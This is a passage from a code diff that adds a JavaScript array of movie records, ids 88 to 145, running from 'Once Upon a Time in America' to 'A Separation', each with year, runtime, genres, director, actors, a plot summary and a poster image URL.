posterUrl: + "http://ia.media-imdb.com/images/M/MV5BMjEwOTk4NjU2MF5BMl5BanBnXkFtZTYwMDA3NzI3._V1_SX300.jpg", + }, + { + id: 88, + title: "Once Upon a Time in America", + year: "1984", + runtime: "229", + genres: ["Crime", "Drama"], + director: "Sergio Leone", + actors: "Robert De Niro, James Woods, Elizabeth McGovern, Joe Pesci", + plot: "A former Prohibition-era Jewish gangster returns to the Lower East Side of Manhattan over thirty years later, where he once again must confront the ghosts and regrets of his old life.", + posterUrl: + "https://images-na.ssl-images-amazon.com/images/M/MV5BMGFkNWI4MTMtNGQ0OC00MWVmLTk3MTktOGYxN2Y2YWVkZWE2XkEyXkFqcGdeQXVyNjU0OTQ0OTY@._V1_SX300.jpg", + }, + { + id: 89, + title: "Oblivion", + year: "2013", + runtime: "124", + genres: ["Action", "Adventure", "Mystery"], + director: "Joseph Kosinski", + actors: "Tom Cruise, Morgan Freeman, Olga Kurylenko, Andrea Riseborough", + plot: "A veteran assigned to extract Earth's remaining resources begins to question what he knows about his mission and himself.", + posterUrl: + "https://images-na.ssl-images-amazon.com/images/M/MV5BMTQwMDY0MTA4MF5BMl5BanBnXkFtZTcwNzI3MDgxOQ@@._V1_SX300.jpg", + }, + { + id: 90, + title: "V for Vendetta", + year: "2005", + runtime: "132", + genres: ["Action", "Drama", "Thriller"], + director: "James McTeigue", + actors: "Natalie Portman, Hugo Weaving, Stephen Rea, Stephen Fry", + plot: 'In a future British tyranny, a shadowy freedom fighter, known only by the alias of "V", plots to overthrow it with the help of a young woman.', + posterUrl: + "https://images-na.ssl-images-amazon.com/images/M/MV5BOTI5ODc3NzExNV5BMl5BanBnXkFtZTcwNzYxNzQzMw@@._V1_SX300.jpg", + }, + { + id: 91, + title: "Gattaca", + year: "1997", + runtime: "106", + genres: ["Drama", "Sci-Fi", "Thriller"], + director: "Andrew Niccol", + actors: "Ethan Hawke, Uma Thurman, Gore Vidal, Xander Berkeley", + plot: "A genetically inferior man assumes the identity of a superior one in order to pursue his lifelong dream of space travel.", + posterUrl: + "https://images-na.ssl-images-amazon.com/images/M/MV5BNDQxOTc0MzMtZmRlOS00OWQ5LWI2ZDctOTAwNmMwOTYxYzlhXkEyXkFqcGdeQXVyMTQxNzMzNDI@._V1_SX300.jpg", + }, + { + id: 92, + title: "Silver Linings Playbook", + year: "2012", + runtime: "122", + genres: ["Comedy", "Drama", "Romance"], + director: "David O. Russell", + actors: "Bradley Cooper, Jennifer Lawrence, Robert De Niro, Jacki Weaver", + plot: "After a stint in a mental institution, former teacher Pat Solitano moves back in with his parents and tries to reconcile with his ex-wife. Things get more challenging when Pat meets Tiffany, a mysterious girl with problems of her own.", + posterUrl: + "https://images-na.ssl-images-amazon.com/images/M/MV5BMTM2MTI5NzA3MF5BMl5BanBnXkFtZTcwODExNTc0OA@@._V1_SX300.jpg", + }, + { + id: 93, + title: "Alice in Wonderland", + year: "2010", + runtime: "108", + genres: ["Adventure", "Family", "Fantasy"], + director: "Tim Burton", + actors: "Johnny Depp, Mia Wasikowska, Helena Bonham Carter, Anne Hathaway", + plot: "Nineteen-year-old Alice returns to the magical world from her childhood adventure, where she reunites with her old friends and learns of her true destiny: to end the Red Queen's reign of terror.", + posterUrl: + "https://images-na.ssl-images-amazon.com/images/M/MV5BMTMwNjAxMTc0Nl5BMl5BanBnXkFtZTcwODc3ODk5Mg@@._V1_SX300.jpg", + }, + { + id: 94, + title: "Gandhi", + year: "1982", + runtime: "191", + genres: ["Biography", "Drama"], + director: "Richard Attenborough", + actors: "Ben Kingsley, Candice Bergen, Edward Fox, John Gielgud", + plot: "Gandhi's character is fully explained as a man of nonviolence. Through his patience, he is able to drive the British out of the subcontinent. And the stubborn nature of Jinnah and his commitment towards Pakistan is portrayed.", + posterUrl: + "http://ia.media-imdb.com/images/M/MV5BMzJiZDRmOWUtYjE2MS00Mjc1LTg1ZDYtNTQxYWJkZTg1OTM4XkEyXkFqcGdeQXVyNjUwNzk3NDc@._V1_SX300.jpg", + }, + { + id: 95, + title: "Pacific Rim", + year: "2013", + runtime: "131", + genres: ["Action", "Adventure", "Sci-Fi"], + director: "Guillermo del Toro", + actors: "Charlie Hunnam, Diego Klattenhoff, Idris Elba, Rinko Kikuchi", + plot: "As a war between humankind and monstrous sea creatures wages on, a former pilot and a trainee are paired up to drive a seemingly obsolete special weapon in a desperate effort to save the world from the apocalypse.", + posterUrl: + "https://images-na.ssl-images-amazon.com/images/M/MV5BMTY3MTI5NjQ4Nl5BMl5BanBnXkFtZTcwOTU1OTU0OQ@@._V1_SX300.jpg", + }, + { + id: 96, + title: "Kiss Kiss Bang Bang", + year: "2005", + runtime: "103", + genres: ["Comedy", "Crime", "Mystery"], + director: "Shane Black", + actors: "Robert Downey Jr., Val Kilmer, Michelle Monaghan, Corbin Bernsen", + plot: "A murder mystery brings together a private eye, a struggling actress, and a thief masquerading as an actor.", + posterUrl: + "http://ia.media-imdb.com/images/M/MV5BMTY5NDExMDA3M15BMl5BanBnXkFtZTYwNTc2MzA3._V1_SX300.jpg", + }, + { + id: 97, + title: "The Quiet American", + year: "2002", + runtime: "101", + genres: ["Drama", "Mystery", "Romance"], + director: "Phillip Noyce", + actors: "Michael Caine, Brendan Fraser, Do Thi Hai Yen, Rade Serbedzija", + plot: "An older British reporter vies with a young U.S. doctor for the affections of a beautiful Vietnamese woman.", + posterUrl: + "http://ia.media-imdb.com/images/M/MV5BMjE2NTUxNTE3Nl5BMl5BanBnXkFtZTYwNTczMTg5._V1_SX300.jpg", + }, + { + id: 98, + title: "Cloud Atlas", + year: "2012", + runtime: "172", + genres: ["Drama", "Sci-Fi"], + director: "Tom Tykwer, Lana Wachowski, Lilly Wachowski", + actors: "Tom Hanks, Halle Berry, Jim Broadbent, Hugo Weaving", + plot: "An exploration of how the actions of individual lives impact one another in the past, present and future, as one soul is shaped from a killer into a hero, and an act of kindness ripples across centuries to inspire a revolution.", + posterUrl: + "https://images-na.ssl-images-amazon.com/images/M/MV5BMTczMTgxMjc4NF5BMl5BanBnXkFtZTcwNjM5MTA2OA@@._V1_SX300.jpg", + }, + { + id: 99, + title: "The Impossible", + year: "2012", + runtime: "114", + genres: ["Drama", "Thriller"], + director: "J.A. Bayona", + actors: "Naomi Watts, Ewan McGregor, Tom Holland, Samuel Joslin", + plot: "The story of a tourist family in Thailand caught in the destruction and chaotic aftermath of the 2004 Indian Ocean tsunami.", + posterUrl: + "https://images-na.ssl-images-amazon.com/images/M/MV5BMjA5NTA3NzQ5Nl5BMl5BanBnXkFtZTcwOTYxNjY0OA@@._V1_SX300.jpg", + }, + { + id: 100, + title: "All Quiet on the Western Front", + year: "1930", + runtime: "136", + genres: ["Drama", "War"], + director: "Lewis Milestone", + actors: "Louis Wolheim, Lew Ayres, John Wray, Arnold Lucy", + plot: "A young soldier faces profound disillusionment in the soul-destroying horror of World War I.", + posterUrl: + "https://images-na.ssl-images-amazon.com/images/M/MV5BNTM5OTg2NDY1NF5BMl5BanBnXkFtZTcwNTQ4MTMwNw@@._V1_SX300.jpg", + }, + { + id: 101, + title: "The English Patient", + year: "1996", + runtime: "162", + genres: ["Drama", "Romance", "War"], + director: "Anthony Minghella", + actors: + "Ralph Fiennes, Juliette Binoche, Willem Dafoe, Kristin Scott Thomas", + plot: "At the close of WWII, a young nurse tends to a badly-burned plane crash victim. His past is shown in flashbacks, revealing an involvement in a fateful love affair.", + posterUrl: + "https://images-na.ssl-images-amazon.com/images/M/MV5BNDg2OTcxNDE0OF5BMl5BanBnXkFtZTgwOTg2MDM0MDE@._V1_SX300.jpg", + }, + { + id: 102, + title: "Dallas Buyers Club", + year: "2013", + runtime: "117", + genres: ["Biography", "Drama"], + director: "Jean-Marc Vallée", + actors: "Matthew McConaughey, Jennifer Garner, Jared Leto, Denis O'Hare", + plot: "In 1985 Dallas, electrician and hustler Ron Woodroof works around the system to help AIDS patients get the medication they need after he is diagnosed with the disease.", + posterUrl: + "https://images-na.ssl-images-amazon.com/images/M/MV5BMTYwMTA4MzgyNF5BMl5BanBnXkFtZTgwMjEyMjE0MDE@._V1_SX300.jpg", + }, + { + id: 103, + title: "Frida", + year: "2002", + runtime: "123", + genres: ["Biography", "Drama", "Romance"], + director: "Julie Taymor", + actors: "Salma Hayek, Mía Maestro, Alfred Molina, Antonio Banderas", + plot: "A biography of artist Frida Kahlo, who channeled the pain of a crippling injury and her tempestuous marriage into her work.", + posterUrl: + "http://ia.media-imdb.com/images/M/MV5BMTMyODUyMDY1OV5BMl5BanBnXkFtZTYwMDA2OTU3._V1_SX300.jpg", + }, + { + id: 104, + title: "Before Sunrise", + year: "1995", + runtime: "105", + genres: ["Drama", "Romance"], + director: "Richard Linklater", + actors: "Ethan Hawke, Julie Delpy, Andrea Eckert, Hanno Pöschl", + plot: "A young man and woman meet on a train in Europe, and wind up spending one evening together in Vienna. Unfortunately, both know that this will probably be their only night together.", + posterUrl: + "https://images-na.ssl-images-amazon.com/images/M/MV5BMTQyMTM3MTQxMl5BMl5BanBnXkFtZTcwMDAzNjQ4Mg@@._V1_SX300.jpg", + }, + { + id: 105, + title: "The Rum Diary", + year: "2011", + runtime: "120", + genres: ["Comedy", "Drama"], + director: "Bruce Robinson", + actors: "Johnny Depp, Aaron Eckhart, Michael Rispoli, Amber Heard", + plot: "American journalist Paul Kemp takes on a freelance job in Puerto Rico for a local newspaper during the 1960s and struggles to find a balance between island culture and the expatriates who live there.", + posterUrl: + "https://images-na.ssl-images-amazon.com/images/M/MV5BMTM5ODA4MjYxM15BMl5BanBnXkFtZTcwMTM3NTE5Ng@@._V1_SX300.jpg", + }, + { + id: 106, + title: "The Last Samurai", + year: "2003", + runtime: "154", + genres: ["Action", "Drama", "History"], + director: "Edward Zwick", + actors: "Ken Watanabe, Tom Cruise, William Atherton, Chad Lindberg", + plot: "An American military advisor embraces the Samurai culture he was hired to destroy after he is captured in battle.", + posterUrl: + "http://ia.media-imdb.com/images/M/MV5BMzkyNzQ1Mzc0NV5BMl5BanBnXkFtZTcwODg3MzUzMw@@._V1_SX300.jpg", + }, + { + id: 107, + title: "Chinatown", + year: "1974", + runtime: "130", + genres: ["Drama", "Mystery", "Thriller"], + director: "Roman Polanski", + actors: "Jack Nicholson, Faye Dunaway, John Huston, Perry Lopez", + plot: "A private detective hired to expose an adulterer finds himself caught up in a web of deceit, corruption and murder.", + posterUrl: + "https://images-na.ssl-images-amazon.com/images/M/MV5BN2YyNDE5NzItMjAwNC00MGQxLTllNjktZGIzMWFkZjA3OWQ0XkEyXkFqcGdeQXVyNDk3NzU2MTQ@._V1_SX300.jpg", + }, + { + id: 108, + title: "Calvary", + year: "2014", + runtime: "102", + genres: ["Comedy", "Drama"], + director: "John Michael McDonagh", + actors: "Brendan Gleeson, Chris O'Dowd, Kelly Reilly, Aidan Gillen", + plot: "After he is threatened during a confession, a good-natured priest must battle the dark forces closing in around him.", + posterUrl: + "https://images-na.ssl-images-amazon.com/images/M/MV5BMTc3MjQ1MjE2M15BMl5BanBnXkFtZTgwNTMzNjE4MTE@._V1_SX300.jpg", + }, + { + id: 109, + title: "Before Sunset", + year: "2004", + runtime: "80", + genres: ["Drama", "Romance"], + director: "Richard Linklater", + actors: "Ethan Hawke, Julie Delpy, Vernon Dobtcheff, Louise Lemoine Torrès", + plot: "Nine years after Jesse and Celine first met, they encounter each other again on the French leg of Jesse's book tour.", + posterUrl: + "http://ia.media-imdb.com/images/M/MV5BMTQ1MjAwNTM5Ml5BMl5BanBnXkFtZTYwNDM0MTc3._V1_SX300.jpg", + }, + { + id: 110, + title: "Spirited Away", + year: "2001", + runtime: "125", + genres: ["Animation", "Adventure", "Family"], + director: "Hayao Miyazaki", + actors: "Rumi Hiiragi, Miyu Irino, Mari Natsuki, Takashi Naitô", + plot: "During her family's move to the suburbs, a sullen 10-year-old girl wanders into a world ruled by gods, witches, and spirits, and where humans are changed into beasts.", + posterUrl: + "https://images-na.ssl-images-amazon.com/images/M/MV5BMjYxMDcyMzIzNl5BMl5BanBnXkFtZTYwNDg2MDU3._V1_SX300.jpg", + }, + { + id: 111, + title: "Indochine", + year: "1992", + runtime: "159", + genres: ["Drama", "Romance"], + director: "Régis Wargnier", + actors: "Catherine Deneuve, Vincent Perez, Linh Dan Pham, Jean Yanne", + plot: "This story is set in 1930, at the time when French colonial rule in Indochina is ending. A widowed French woman who works in the rubber fields, raises a Vietnamese princess as if she was ...", + posterUrl: + "https://images-na.ssl-images-amazon.com/images/M/MV5BMTM1MTkzNzA3NF5BMl5BanBnXkFtZTYwNTI2MzU5._V1_SX300.jpg", + }, + { + id: 112, + title: "Birdman or (The Unexpected Virtue of Ignorance)", + year: "2014", + runtime: "119", + genres: ["Comedy", "Drama", "Romance"], + director: "Alejandro G. Iñárritu", + actors: "Michael Keaton, Emma Stone, Kenny Chin, Jamahl Garrison-Lowe", + plot: "Illustrated upon the progress of his latest Broadway play, a former popular actor's struggle to cope with his current life as a wasted actor is shown.", + posterUrl: + "https://images-na.ssl-images-amazon.com/images/M/MV5BODAzNDMxMzAxOV5BMl5BanBnXkFtZTgwMDMxMjA4MjE@._V1_SX300.jpg", + }, + { + id: 113, + title: "Boyhood", + year: "2014", + runtime: "165", + genres: ["Drama"], + director: "Richard Linklater", + actors: + "Ellar Coltrane, Patricia Arquette, Elijah Smith, Lorelei Linklater", + plot: "The life of Mason, from early childhood to his arrival at college.", + posterUrl: + "https://images-na.ssl-images-amazon.com/images/M/MV5BMTYzNDc2MDc0N15BMl5BanBnXkFtZTgwOTcwMDQ5MTE@._V1_SX300.jpg", + }, + { + id: 114, + title: "12 Angry Men", + year: "1957", + runtime: "96", + genres: ["Crime", "Drama"], + director: "Sidney Lumet", + actors: "Martin Balsam, John Fiedler, Lee J. Cobb, E.G. Marshall", + plot: "A jury holdout attempts to prevent a miscarriage of justice by forcing his colleagues to reconsider the evidence.", + posterUrl: + "https://images-na.ssl-images-amazon.com/images/M/MV5BODQwOTc5MDM2N15BMl5BanBnXkFtZTcwODQxNTEzNA@@._V1_SX300.jpg", + }, + { + id: 115, + title: "The Imitation Game", + year: "2014", + runtime: "114", + genres: ["Biography", "Drama", "Thriller"], + director: "Morten Tyldum", + actors: + "Benedict Cumberbatch, Keira Knightley, Matthew Goode, Rory Kinnear", + plot: "During World War II, mathematician Alan Turing tries to crack the enigma code with help from fellow mathematicians.", + posterUrl: + "https://images-na.ssl-images-amazon.com/images/M/MV5BNDkwNTEyMzkzNl5BMl5BanBnXkFtZTgwNTAwNzk3MjE@._V1_SX300.jpg", + }, + { + id: 116, + title: "Interstellar", + year: "2014", + runtime: "169", + genres: ["Adventure", "Drama", "Sci-Fi"], + director: "Christopher Nolan", + actors: "Ellen Burstyn, Matthew McConaughey, Mackenzie Foy, John Lithgow", + plot: "A team of explorers travel through a wormhole in space in an attempt to ensure humanity's survival.", + posterUrl: + "https://images-na.ssl-images-amazon.com/images/M/MV5BMjIxNTU4MzY4MF5BMl5BanBnXkFtZTgwMzM4ODI3MjE@._V1_SX300.jpg", + }, + { + id: 117, + title: "Big Nothing", + year: "2006", + runtime: "86", + genres: ["Comedy", "Crime", "Thriller"], + director: "Jean-Baptiste Andrea", + actors: "David Schwimmer, Simon Pegg, Alice Eve, Natascha McElhone", + plot: "A frustrated, unemployed teacher joining forces with a scammer and his girlfriend in a blackmailing scheme.", + posterUrl: + "https://images-na.ssl-images-amazon.com/images/M/MV5BMTY5NTc2NjYwOV5BMl5BanBnXkFtZTcwMzk5OTY0MQ@@._V1_SX300.jpg", + }, + { + id: 118, + title: "Das Boot", + year: "1981", + runtime: "149", + genres: ["Adventure", "Drama", "Thriller"], + director: "Wolfgang Petersen", + actors: + "Jürgen Prochnow, Herbert Grönemeyer, Klaus Wennemann, Hubertus Bengsch", + plot: "The claustrophobic world of a WWII German U-boat; boredom, filth, and sheer terror.", + posterUrl: + "https://images-na.ssl-images-amazon.com/images/M/MV5BMjE5Mzk5OTQ0Nl5BMl5BanBnXkFtZTYwNzUwMTQ5._V1_SX300.jpg", + }, + { + id: 119, + title: "Shrek 2", + year: "2004", + runtime: "93", + genres: ["Animation", "Adventure", "Comedy"], + director: "Andrew Adamson, Kelly Asbury, Conrad Vernon", + actors: "Mike Myers, Eddie Murphy, Cameron Diaz, Julie Andrews", + plot: "Princess Fiona's parents invite her and Shrek to dinner to celebrate her marriage. If only they knew the newlyweds were both ogres.", + posterUrl: + "https://images-na.ssl-images-amazon.com/images/M/MV5BMTk4MTMwNjI4M15BMl5BanBnXkFtZTcwMjExMzUyMQ@@._V1_SX300.jpg", + }, + { + id: 120, + title: "Sin City", + year: "2005", + runtime: "124", + genres: ["Crime", "Thriller"], + director: "Frank Miller, Robert Rodriguez, Quentin Tarantino", + actors: "Jessica Alba, Devon Aoki, Alexis Bledel, Powers Boothe", + plot: "A film that explores the dark and miserable town, Basin City, and tells the story of three different people, all caught up in violent corruption.", + posterUrl: + "https://images-na.ssl-images-amazon.com/images/M/MV5BODZmYjMwNzEtNzVhNC00ZTRmLTk2M2UtNzE1MTQ2ZDAxNjc2XkEyXkFqcGdeQXVyMTQxNzMzNDI@._V1_SX300.jpg", + }, + { + id: 121, + title: "Nebraska", + year: "2013", + runtime: "115", + genres: ["Adventure", "Comedy", "Drama"], + director: "Alexander Payne", + actors: "Bruce Dern, Will Forte, June Squibb, Bob Odenkirk", + plot: "An aging, booze-addled father makes the trip from Montana to Nebraska with his estranged son in order to claim a million-dollar Mega Sweepstakes Marketing prize.", + posterUrl: + "https://images-na.ssl-images-amazon.com/images/M/MV5BMTU2Mjk2NDkyMl5BMl5BanBnXkFtZTgwNTk0NzcyMDE@._V1_SX300.jpg", + }, + { + id: 122, + title: "Shrek", + year: "2001", + runtime: "90", + genres: ["Animation", "Adventure", "Comedy"], + director: "Andrew Adamson, Vicky Jenson", + actors: "Mike Myers, Eddie Murphy, Cameron Diaz, John Lithgow", + plot: "After his swamp is filled with magical creatures, an ogre agrees to rescue a princess for a villainous lord in order to get his land back.", + posterUrl: + "https://images-na.ssl-images-amazon.com/images/M/MV5BMTk2NTE1NTE0M15BMl5BanBnXkFtZTgwNjY4NTYxMTE@._V1_SX300.jpg", + }, + { + id: 123, + title: "Mr. & Mrs. Smith", + year: "2005", + runtime: "120", + genres: ["Action", "Comedy", "Crime"], + director: "Doug Liman", + actors: "Brad Pitt, Angelina Jolie, Vince Vaughn, Adam Brody", + plot: "A bored married couple is surprised to learn that they are both assassins hired by competing agencies to kill each other.", + posterUrl: + "https://images-na.ssl-images-amazon.com/images/M/MV5BMTUxMzcxNzQzOF5BMl5BanBnXkFtZTcwMzQxNjUyMw@@._V1_SX300.jpg", + }, + { + id: 124, + title: "Original Sin", + year: "2001", + runtime: "116", + genres: ["Drama", "Mystery", "Romance"], + director: "Michael Cristofer", + actors: "Antonio Banderas, Angelina Jolie, Thomas Jane, Jack Thompson", + plot: "A woman along with her lover, plan to con a rich man by marrying him and on earning his trust running away with all his money. Everything goes as planned until she actually begins to fall in love with him.", + posterUrl: + "https://images-na.ssl-images-amazon.com/images/M/MV5BODg3Mjg0MDY4M15BMl5BanBnXkFtZTcwNjY5MDQ2NA@@._V1_SX300.jpg", + }, + { + id: 125, + title: "Shrek Forever After", + year: "2010", + runtime: "93", + genres: ["Animation", "Adventure", "Comedy"], + director: "Mike Mitchell", + actors: "Mike Myers, Eddie Murphy, Cameron Diaz, Antonio Banderas", + plot: "Rumpelstiltskin tricks a mid-life crisis burdened Shrek into allowing himself to be erased from existence and cast in a dark alternate timeline where Rumpel rules supreme.", + posterUrl: + "http://ia.media-imdb.com/images/M/MV5BMTY0OTU1NzkxMl5BMl5BanBnXkFtZTcwMzI2NDUzMw@@._V1_SX300.jpg", + }, + { + id: 126, + title: "Before Midnight", + year: "2013", + runtime: "109", + genres: ["Drama", "Romance"], + director: "Richard Linklater", + actors: + "Ethan Hawke, Julie Delpy, Seamus Davey-Fitzpatrick, Jennifer Prior", + plot: "We meet Jesse and Celine nine years on in Greece. Almost two decades have passed since their first meeting on that train bound for Vienna.", + posterUrl: + "http://ia.media-imdb.com/images/M/MV5BMjA5NzgxODE2NF5BMl5BanBnXkFtZTcwNTI1NTI0OQ@@._V1_SX300.jpg", + }, + { + id: 127, + title: "Despicable Me", + year: "2010", + runtime: "95", + genres: ["Animation", "Adventure", "Comedy"], + director: "Pierre Coffin, Chris Renaud", + actors: "Steve Carell, Jason Segel, Russell Brand, Julie Andrews", + plot: "When a criminal mastermind uses a trio of orphan girls as pawns for a grand scheme, he finds their love is profoundly changing him for the better.", + posterUrl: + "https://images-na.ssl-images-amazon.com/images/M/MV5BMTY3NjY0MTQ0Nl5BMl5BanBnXkFtZTcwMzQ2MTc0Mw@@._V1_SX300.jpg", + }, + { + id: 128, + title: "Troy", + year: "2004", + runtime: "163", + genres: ["Adventure"], + director: "Wolfgang Petersen", + actors: "Julian Glover, Brian Cox, Nathan Jones, Adoni Maropis", + plot: "An adaptation of Homer's great epic, the film follows the assault on Troy by the united Greek forces and chronicles the fates of the men involved.", + posterUrl: + "http://ia.media-imdb.com/images/M/MV5BMTk5MzU1MDMwMF5BMl5BanBnXkFtZTcwNjczODMzMw@@._V1_SX300.jpg", + }, + { + id: 129, + title: "The Hobbit: An Unexpected Journey", + year: "2012", + runtime: "169", + genres: ["Adventure", "Fantasy"], + director: "Peter Jackson", + actors: "Ian McKellen, Martin Freeman, Richard Armitage, Ken Stott", + plot: "A reluctant hobbit, Bilbo Baggins, sets out to the Lonely Mountain with a spirited group of dwarves to reclaim their mountain home - and the gold within it - from the dragon Smaug.", + posterUrl: + "https://images-na.ssl-images-amazon.com/images/M/MV5BMTcwNTE4MTUxMl5BMl5BanBnXkFtZTcwMDIyODM4OA@@._V1_SX300.jpg", + }, + { + id: 130, + title: "The Great Gatsby", + year: "2013", + runtime: "143", + genres: ["Drama", "Romance"], + director: "Baz Luhrmann", + actors: "Lisa Adam, Frank Aldridge, Amitabh Bachchan, Steve Bisley", + plot: "A writer and wall street trader, Nick, finds himself drawn to the past and lifestyle of his millionaire neighbor, Jay Gatsby.", + posterUrl: + "https://images-na.ssl-images-amazon.com/images/M/MV5BMTkxNTk1ODcxNl5BMl5BanBnXkFtZTcwMDI1OTMzOQ@@._V1_SX300.jpg", + }, + { + id: 131, + title: "Ice Age", + year: "2002", + runtime: "81", + genres: ["Animation", "Adventure", "Comedy"], + director: "Chris Wedge, Carlos Saldanha", + actors: "Ray Romano, John Leguizamo, Denis Leary, Goran Visnjic", + plot: "Set during the Ice Age, a sabertooth tiger, a sloth, and a wooly mammoth find a lost human infant, and they try to return him to his tribe.", + posterUrl: + "https://images-na.ssl-images-amazon.com/images/M/MV5BMjEyNzI1ODA0MF5BMl5BanBnXkFtZTYwODIxODY3._V1_SX300.jpg", + }, + { + id: 132, + title: "The Lord of the Rings: The Fellowship of the Ring", + year: "2001", + runtime: "178", + genres: ["Action", "Adventure", "Drama"], + director: "Peter Jackson", + actors: "Alan Howard, Noel Appleby, Sean Astin, Sala Baker", + plot: "A meek Hobbit from the Shire and eight companions set out on a journey to destroy the powerful One Ring and save Middle Earth from the Dark Lord Sauron.", + posterUrl: + "https://images-na.ssl-images-amazon.com/images/M/MV5BNTEyMjAwMDU1OV5BMl5BanBnXkFtZTcwNDQyNTkxMw@@._V1_SX300.jpg", + }, + { + id: 133, + title: "The Lord of the Rings: The Two Towers", + year: "2002", + runtime: "179", + genres: ["Action", "Adventure", "Drama"], + director: "Peter Jackson", + actors: "Bruce Allpress, Sean Astin, John Bach, Sala Baker", + plot: "While Frodo and Sam edge closer to Mordor with the help of the shifty Gollum, the divided fellowship makes a stand against Sauron's new ally, Saruman, and his hordes of Isengard.", + posterUrl: + "https://images-na.ssl-images-amazon.com/images/M/MV5BMTAyNDU0NjY4NTheQTJeQWpwZ15BbWU2MDk4MTY2Nw@@._V1_SX300.jpg", + }, + { + id: 134, + title: "Ex Machina", + year: "2015", + runtime: "108", + genres: ["Drama", "Mystery", "Sci-Fi"], + director: "Alex Garland", + actors: "Domhnall Gleeson, Corey Johnson, Oscar Isaac, Alicia Vikander", + plot: "A young programmer is selected to participate in a ground-breaking experiment in synthetic intelligence by evaluating the human qualities of a breath-taking humanoid A.I.", + posterUrl: + "https://images-na.ssl-images-amazon.com/images/M/MV5BMTUxNzc0OTIxMV5BMl5BanBnXkFtZTgwNDI3NzU2NDE@._V1_SX300.jpg", + }, + { + id: 135, + title: "The Theory of Everything", + year: "2014", + runtime: "123", + genres: ["Biography", "Drama", "Romance"], + director: "James Marsh", + actors: "Eddie Redmayne, Felicity Jones, Tom Prior, Sophie Perry", + plot: "A look at the relationship between the famous physicist Stephen Hawking and his wife.", + posterUrl: + "https://images-na.ssl-images-amazon.com/images/M/MV5BMTAwMTU4MDA3NDNeQTJeQWpwZ15BbWU4MDk4NTMxNTIx._V1_SX300.jpg", + }, + { + id: 136, + title: "Shogun", + year: "1980", + runtime: "60", + genres: ["Adventure", "Drama", "History"], + director: "N/A", + actors: "Richard Chamberlain, Toshirô Mifune, Yôko Shimada, Furankî Sakai", + plot: "A English navigator becomes both a player and pawn in the complex political games in feudal Japan.", + posterUrl: + "https://images-na.ssl-images-amazon.com/images/M/MV5BMTY1ODI4NzYxMl5BMl5BanBnXkFtZTcwNDA4MzUxMQ@@._V1_SX300.jpg", + }, + { + id: 137, + title: "Spotlight", + year: "2015", + runtime: "128", + genres: ["Biography", "Crime", "Drama"], + director: "Tom McCarthy", + actors: "Mark Ruffalo, Michael Keaton, Rachel McAdams, Liev Schreiber", + plot: "The true story of how the Boston Globe uncovered the massive scandal of child molestation and cover-up within the local Catholic Archdiocese, shaking the entire Catholic Church to its core.", + posterUrl: + "https://images-na.ssl-images-amazon.com/images/M/MV5BMjIyOTM5OTIzNV5BMl5BanBnXkFtZTgwMDkzODE2NjE@._V1_SX300.jpg", + }, + { + id: 138, + title: "Vertigo", + year: "1958", + runtime: "128", + genres: ["Mystery", "Romance", "Thriller"], + director: "Alfred Hitchcock", + actors: "James Stewart, Kim Novak, Barbara Bel Geddes, Tom Helmore", + plot: "A San Francisco detective suffering from acrophobia investigates the strange activities of an old friend's wife, all the while becoming dangerously obsessed with her.", + posterUrl: + "http://ia.media-imdb.com/images/M/MV5BNzY0NzQyNzQzOF5BMl5BanBnXkFtZTcwMTgwNTk4OQ@@._V1_SX300.jpg", + }, + { + id: 139, + title: "Whiplash", + year: "2014", + runtime: "107", + genres: ["Drama", "Music"], + director: "Damien Chazelle", + actors: "Miles Teller, J.K. Simmons, Paul Reiser, Melissa Benoist", + plot: "A promising young drummer enrolls at a cut-throat music conservatory where his dreams of greatness are mentored by an instructor who will stop at nothing to realize a student's potential.", + posterUrl: + "https://images-na.ssl-images-amazon.com/images/M/MV5BMTU4OTQ3MDUyMV5BMl5BanBnXkFtZTgwOTA2MjU0MjE@._V1_SX300.jpg", + }, + { + id: 140, + title: "The Lives of Others", + year: "2006", + runtime: "137", + genres: ["Drama", "Thriller"], + director: "Florian Henckel von Donnersmarck", + actors: "Martina Gedeck, Ulrich Mühe, Sebastian Koch, Ulrich Tukur", + plot: "In 1984 East Berlin, an agent of the secret police, conducting surveillance on a writer and his lover, finds himself becoming increasingly absorbed by their lives.", + posterUrl: + "http://ia.media-imdb.com/images/M/MV5BNDUzNjYwNDYyNl5BMl5BanBnXkFtZTcwNjU3ODQ0MQ@@._V1_SX300.jpg", + }, + { + id: 141, + title: "Hotel Rwanda", + year: "2004", + runtime: "121", + genres: ["Drama", "History", "War"], + director: "Terry George", + actors: "Xolani Mali, Don Cheadle, Desmond Dube, Hakeem Kae-Kazim", + plot: "Paul Rusesabagina was a hotel manager who housed over a thousand Tutsi refugees during their struggle against the Hutu militia in Rwanda.", + posterUrl: + "https://images-na.ssl-images-amazon.com/images/M/MV5BMTI2MzQyNTc1M15BMl5BanBnXkFtZTYwMjExNjc3._V1_SX300.jpg", + }, + { + id: 142, + title: "The Martian", + year: "2015", + runtime: "144", + genres: ["Adventure", "Drama", "Sci-Fi"], + director: "Ridley Scott", + actors: "Matt Damon, Jessica Chastain, Kristen Wiig, Jeff Daniels", + plot: "An astronaut becomes stranded on Mars after his team assume him dead, and must rely on his ingenuity to find a way to signal to Earth that he is alive.", + posterUrl: + "https://images-na.ssl-images-amazon.com/images/M/MV5BMTc2MTQ3MDA1Nl5BMl5BanBnXkFtZTgwODA3OTI4NjE@._V1_SX300.jpg", + }, + { + id: 143, + title: "To Kill a Mockingbird", + year: "1962", + runtime: "129", + genres: ["Crime", "Drama"], + director: "Robert Mulligan", + actors: "Gregory Peck, John Megna, Frank Overton, Rosemary Murphy", + plot: "Atticus Finch, a lawyer in the Depression-era South, defends a black man against an undeserved rape charge, and his kids against prejudice.", + posterUrl: + "http://ia.media-imdb.com/images/M/MV5BMjA4MzI1NDY2Nl5BMl5BanBnXkFtZTcwMTcyODc5Mw@@._V1_SX300.jpg", + }, + { + id: 144, + title: "The Hateful Eight", + year: "2015", + runtime: "187", + genres: ["Crime", "Drama", "Mystery"], + director: "Quentin Tarantino", + actors: + "Samuel L. Jackson, Kurt Russell, Jennifer Jason Leigh, Walton Goggins", + plot: "In the dead of a Wyoming winter, a bounty hunter and his prisoner find shelter in a cabin currently inhabited by a collection of nefarious characters.", + posterUrl: + "https://images-na.ssl-images-amazon.com/images/M/MV5BMjA1MTc1NTg5NV5BMl5BanBnXkFtZTgwOTM2MDEzNzE@._V1_SX300.jpg", + }, + { + id: 145, + title: "A Separation", + year: "2011", + runtime: "123", + genres: ["Drama", "Mystery"], + director: "Asghar Farhadi", + actors: "Peyman Moaadi, Leila Hatami, Sareh Bayat, Shahab Hosseini", + plot: "A married couple are faced with a difficult decision - to improve the life of their child by moving to another country or to 